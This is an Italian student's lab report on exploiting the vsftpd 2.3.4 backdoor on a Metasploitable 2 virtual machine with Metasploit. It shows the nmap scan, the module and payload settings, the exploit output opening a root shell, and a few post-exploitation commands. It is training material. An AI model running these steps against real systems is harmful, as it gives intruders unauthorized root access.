

Relazione Tecnica: Sfruttamento Backdoor vsftpd v2.3.4

Data: 19 Gennaio 2026

Studente: Argento Luca

Target: Metasploitable 2 (\$192.168.1.149\$)

Attaccante: kali (\$192.168.1.100\$)

1. Obiettivo dell'Attività

L'obiettivo dell'esercitazione consiste nel fare pratica con lo strumento visto oggi a lezione: metasploit. In particolare si deve sfruttare una vulnerabilità nota del servizio FTP attivo sulla macchina target per penetrare il sistema.

2. Fase di analisi

L'analisi è iniziata con la verifica della connettività e l'identificazione dei servizi attivi sull'host target.

- **Verifica Connettività:** Un test ping ha confermato che l'host \$192.168.1.149\$ è attivo e può comunicare con la mia kali.
- **Scansione Porte:** Tramite nmap -p 21 -sV, è stata identificata la porta **21** aperta, la quale espone il servizio ftp con versione **vsftpd 2.3.4**.

```
(kali@kali)-[~]
$ nmap -p 21 -sV 192.168.1.149
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 14:38 CET
Nmap scan report for 192.168.1.149
Host is up (0.00031s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 08:00:27:EA:D6:B1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Unix
```

3. Selezione e Configurazione dell'Exploit

Il servizio identificato è noto per una backdoor inserita nel codice sorgente originale che permette l'esecuzione di comandi remoti.

- **Ricerca Modulo:** All'interno di Metasploit, è stato cercato il modulo corrispondente alla versione vsftpd 2.3.4 trovata in fase di analisi
- **Configurazione Target:** Il parametro RHOSTS è stato impostato sull'indirizzo IP \$192.168.1.149\$.
- **Payload:** Il sistema ha configurato automaticamente il payload cmd/unix/interact per l'interazione con la shell (l'unico disponibile).

```
msf > search vsftpd 2.3.4

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
--  --                                     -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execut
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
```

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/interact	.	normal	No	Unix Command, Interact with Established Connection

4. Exploitation

L'esecuzione dell'exploit ha sfruttato la vulnerabilità del banner FTP per forzare l'apertura di una shell sulla porta 6200 del target.

- **Accesso Ottenuto:** Il modulo ha confermato l'apertura di una **Command Shell** con privilegi **UID: 0 (root)**.
- **Verifica IP:** Il comando ifconfig eseguito sulla shell remota ha confermato l'identità del target (\$192.168.1.149\$).

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:34969 -> 192.168.1.149:6200) at 2026-01-19 15:07:54 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:ea:d6:b1
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feea:d6b1/64  Scope:Link
```

5. Post-Exploitation

Come richiesto dalla traccia, è stata eseguita una serie di comandi per dimostrare il controllo totale sulla macchina.

- **Navigazione:** È stato effettuato l'accesso alla directory di root
- **Creazione Cartella:** È stata creata la directory denominata test_metasploit tramite il comando mkdir /test_metasploit e spostata all'interno della cartella root.
- **Verifica:** Un comando ls finale ha confermato la corretta creazione della cartella all'interno della directory di sistema.

```
mkdir /test_metasploit
```

```
mv test_metasploit root
```

```
cd root
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
```

6. Conclusione

L'attacco ha avuto successo grazie alla presenza di una backdoor nota in una versione software obsoleta. Poiché l'accesso è stato ottenuto direttamente con privilegi di **root**, in quanto attaccante avrei la possibilità di modificare file critici di sistema senza necessità di ulteriore escalation.